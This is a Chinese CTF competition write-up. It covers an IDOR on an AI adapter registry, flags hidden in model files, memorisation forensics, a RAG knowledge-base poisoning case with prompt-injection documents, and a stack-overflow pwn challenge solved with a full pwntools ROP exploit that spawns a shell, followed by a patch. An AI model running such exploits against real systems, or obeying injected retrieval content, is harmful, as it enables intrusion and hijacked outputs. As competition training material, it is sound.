这次比赛我们在主赛道 AWDP 个人组取得了第六名铜湾奖的成绩,而在 AI 赛道上,比较遗憾在 Agent 阶段止步——现场由于网络调试环境受限,加之对主办方提供的 API Key 格式与调用规范缺乏前期信息同步,导致在临场适配上耗费了过多时间,没能把准备好的策略完全施展开。赛后复盘也算是一次宝贵的实战经验,非常感谢各位师傅一路以来的投入与付出!

赛前打卡

机器狗足球表演

给的补给零食袋,非常可以啊

结束封榜纪念

以下为我个人完成题目的解题思路与 WP 整理:
AI专项部分
GhostAdapter
题目背景:你获得了适配器仓库的只读测试权限。请调查一次迁移遗留问题,并取得私有适配器工件中的回执
附件就给了两样东西:
access.txt:
Authorization: Bearer gbacc-blue-demo-token,这是blue 租户的测试 token,
还有role: adapter-reader

registry_api.txt:
GET /api/profile
GET /api/adapters
GET /api/versions/{version_id}
GET /api/versions/{version_id}/download
漏洞是下载接口缺少存在性校验(IDOR)
第一步先用 token 确认身份,再拉适配器列表:
curl -sk -H 'Authorization: Bearer gbacc-blue-demo-token' \
https://eci-2ze5etyqu1n4pjidlx3d.cloudeci1.ichunqiu.com:8000/api/profile
curl -sk -H 'Authorization: Bearer gbacc-blue-demo-token' \
https://eci-2ze5etyqu1n4pjidlx3d.cloudeci1.ichunqiu.com:8000/api/adapters
/api/adapters 里 blue 适配器的字段泄露了它的依赖基线:base_dependency: “lora-v317″。这个版本号不在可见的version版本列表里,属于迁移遗留的悬空引用
接着验证一下版本接口:
GET /api/versions/lora-v317 被正确拒绝(404),说明元数据接口做了存在性校验
但 GET /api/versions/lora-v317/download 完全不查租户与存在性,直接把 red 租户的私有工件打包返回(200)
curl -sk -H 'Authorization: Bearer gbacc-blue-demo-token' \
https://eci-2ze5etyqu1n4pjidlx3d.cloudeci1.ichunqiu.com:8000/api/versions/lora-v317/download -o v317.zip
unzip -p v317.zip flag.json

工件 flag.json 内即为 flag:
{"adapter":"red-road-sign-lora","format":"peft-lora",
"migration_receipt":"flag{9b75d1b6-d336-4087-80da-f5ef5de2eb08}",
"tenant":"red","version":"lora-v317"}
flag{9b75d1b6-d336-4087-80da-f5ef5de2eb08}
evalModel
题目背景:一份来路不明的图像分类模型被部署上线。经检测,文件内部暗藏玄机。请深入分析该模型文件,找到隐藏的 flag
给了model.pth,很多 model.pth实际上就是一种 ZIP 容器格式

改为 zip 后缀解包,archive/data.pkl 中藏了这段:

import base64,zlib
c = base64.b64decode(''.join(
'FbUvriVhxlh|GUC1D3zw1/w|cBeAW6WlUuJ|/ncWkBStz8k|PTNkfnwDASY|kVchpLWXHeP|0='
.split('|')
))
x = bytes(
v ^ b'model-integrity-2026'[i % 20]
for i, v in enumerate(c)
)
print(zlib.decompress(x).decode())
运行解出 flag{252d38ab-42f7-46fa-9170-edbdaad76fd5}
记忆不会消失
题目背景:某公司怀疑旧版智能助手曾接触过包含凭据、恢复码和内部服务信息的资料。虽然原始训练集已经移除,模型可能仍然保留部分历史痕迹。现在提供一个离线模型、一批查询语句以及一组可能的模型回答。请对这些材料进行取证,找出与模型历史行为最相关的记录,并恢复隐藏信息。
附件四个文件:model.onnx,prompts.txt(10000 条查询),candidates.json(10000 条候选回答),tokenizer.json(分词器词表文件,作用是把人能读的文本转换成模型能处理的数字 ID)
.onnx是模型文件的一种,全称是 Open Neural Network Exchange,通常会保留计算图 + 模型参数
我这里用的是Netron,可以查看模型文件结构,支持很多种模型文件类型

可以看出模型通过 prompt_id定位输出位置,并用 prompt_id < 42 作为限制条件,所以只有前 42 个 prompt 会产生明显的记忆输出
tokenizer.json里存着对应的candidate_ids

就按着这个6144,1405,4676…这个前42个编号顺序在candidates.json找对应的memo



按照编号排序后逐个取出 memo 拼接:
f l a g { 2 1 0 9 5 0 e 2 - 3 2 4 1 - 4 5 4 d - a 7 f c - 5 a f 8 3 3 5 9 d e e 8 }
得到 flag{210950e2-3241-454d-a7fc-5af83359dee8}
RAG
题目背景:某公司内部 AI 知识助手近期频繁 “答非所问”,安全团队怀疑知识库被投毒,攻击者将注入载荷藏进看似无害的文档,一旦被检索命中便劫持助手输出。请分析不可信文档,找到攻击者在多个文档中注入的编码混淆指令。
附件结构:documents/0001.md ~ 10000.md、index.json、metadata.json、query_history.json。
给了10000个md文件,考察的是对RAG信息检索的理解和敏感度

index.json记录的是对md文件对应的id和题目还有哈希值
metadata.json则是在index.json的基础上加入了每个md文件所属的category和token属性

query_history.json应该就是用户请求日志

用户提问的query,RAG检索器返回对应的文件id给大模型
根据id去metadata.json找找对应的文件属性,发现其中几个的category和其他的明显不一样,标注为security-test-fixture


把所有带有security-test-fixture的筛选出来

一共13项,对应的id分别是73、118、137、205、447、488、1281、2819、4190、5632、6741、7823、8910
去审一下这些md文件,看到明显提示词注入的痕迹

一个个跟着看,发现文件内容在慢慢引导ai,
然后发现了可疑编码CtxVi4vYvUDf

继续找能看到更多:
1281.md
隐藏片段 CtxVi4vYvUDf
2819.md
隐藏片段 CX1vGdGKTJF1eWL
4190.md →
隐藏片段 2GPEugwVF
5632.md
隐藏片段 CbBzEMSmqQGx
6741.md
隐藏片段 9X51EC
7823.md
隐藏片段 X47K%6
8910.md
隐藏片段 H-C+96G67
一开始以为是直接拼一起交了好多次,还改了很多拼法发现不对,最后发现是几段拼接后的解码
用的随波逐流工具

flag{f5b2f658-9b47-4a14-b079-cac8468f2138}
AWDP部分
tboxgw
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
题目本身做过 stripped,符号全没了,只看到0x40102f一个entry入口
时间紧任务重,直接上通防试几个

注入guard,seccomp-BPF过滤和Landlock 白名单直接过了
不知道过了多少轮后才回来继续看这道题目,
从entry开始看:

start里只有一句 sub_401050((unsigned int *)&retaddr),这是静态链接二进制的常见套路
判断sub_401050 就是 __libc_start_main,main 的地址即sub_401786从 rdi 传进去:

然后看main,第一眼注意到有listen,bind,socket这样的字符串,再结合经典的“210”组合,判断这是一个IPV4 TCP 服务端

下面这个大差不差就是监听8888端口的htons函数,然后是bind和listen的各自业务


本地启服务再监听8888来验证下,跳banner了

大致确定框架后这样一来就省下来不少时间
do while循环后的逻辑很经典,熟悉的人一眼就能看出来,sub_401ED0就是fork函数,v3就分配的pid,这个=0分支就是在走子进程业务,非常标准的fork server

接下来一般就是重点看端口绑定后的业务逻辑函数或者是fork进程里的业务逻辑

sub401283,扫一眼字符串,TBOX 数据,涉及 MAGIC、长度和 CRC,应该是收包函数,花时间认真逆了一下,根据结构和大致能还原出这个包头的数据结构
struct TboxHeader
{
unsigned short magic; // +0x00 2 bytes
unsigned char cmd; // +0x02 1 byte
char device_id[17]; // +0x03 17 bytes
unsigned short payload_len; // +0x14 2 bytes
};
由于程序并没有把这个结构整个传下去,而是重新用memcpy整理到 dst,后续用到的是新的业务结构,也可以还原,device_id后面被补了’/0′
struct TboxDst
{
unsigned char cmd; // +0x00 1bytes
char device_id[18]; // +0x01 1bytes
unsigned char padding; // +0x13 18bytes
unsigned short payload_len; // +0x14 2bytes
};
收包 + 长度限制 + CRC 校验

发个错误 magic 的 22 字节包简单测试下
from pwn import *
io = remote("127.0.0.1", 8888)
io.recvline()
pkt = b"\x00\x00" + b"\x13" + b"A" * 17 + p16(0)
io.send(pkt)
responce=io.recvline()
print(responce)

没问题,先跳过crc校验计算逻辑,接着往下分析
sub401550可以看出是一个分发逻辑,简单逆一下

支持 REGISTER ,TELEMETRY ,BATCH ,STATUS 四种命令,
包头第 3 字节 cmd ,分发函数拿它做 switch,其余回 TBOX-NAK CMD。
漏洞位于handle_batch中

count是payload[0],可以人为控制,memcpy又直接往栈上的buf里写46*count,存在明显的栈溢出风险,加之题目没有canary和pie,直接打ROP链就行
最后看一下crc的逻辑

脚本还原一下
def crc(data, num=0xffff):
for i in data:
num ^= i << 8
for j in range(8):
if num >= 0x8000:
tmp = num - 0x10000
else:
tmp = num
if tmp >= 0:
num = num * 2
else:
num = (num * 2) ^ 0x1021
num = num & 0xffff
return num
再找一些gadget就行了

EXP
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = remote("127.0.0.1", 8888)
#io=remote("39.106.48.123",44314)
def crc(data, num=0xffff):
for i in data:
num ^= i << 8
for j in range(8):
if num >= 0x8000:
tmp = num - 0x10000
else:
tmp = num
if tmp >= 0:
num = num * 2
else:
num = (num * 2) ^ 0x1021
num = num & 0xffff
return num
#0x00000000004028d0 : pop rbx ; ret
#0x0000000000401f7d : pop rdi ; ret
#0x00000000004024d6 : pop rsi ; ret
#0x0000000000401002 : ret
#0x0000000000401af3 : syscall
pop_rax = 0x401001
pop_rdi = 0x401f7d
pop_rsi = 0x4024d6
syscall = 0x4020eb
count = 8
copy_len = 46 * count
payload_addr=0x409260
binsh_addr = payload_addr + 1 + copy_len
rop=b"A"*0xf4+p64(pop_rax)+p64(59)+p64(pop_rdi)+p64(binsh_addr)+p64(pop_rsi)+p64(0)+p64(syscall)
rop = rop.ljust(copy_len, b"B")
payload = p8(count)+rop+b"/bin/sh\x00"
cmd = 0x12
device_id = b"A" * 17
header=p8(cmd)+device_id+p16(len(payload))
num = crc(header)
num = crc(payload, num)
packet= b"\xfa\x5b"+ header+ payload+ p16(num)
io.send(packet)
io.interactive()
flag{65a4aeea-4666-4af8-8e55-6061ce0699c1}
修补
0x4014de: movzx eax, al
原机器码:0F B6 C0
改成:and eax, 3
机器码刚好也是 3 字节:83 E0 03
于是逻辑从:count = payload[0];
变成近似:count = payload[0] & 3;
也就是:count 最大只能为 3 最大 memcpy = 3 × 46 = 138 字节
栈溢出直接没了
SkyFence

同样的防御这块上通防试下

没啥好说的功能正常直接过









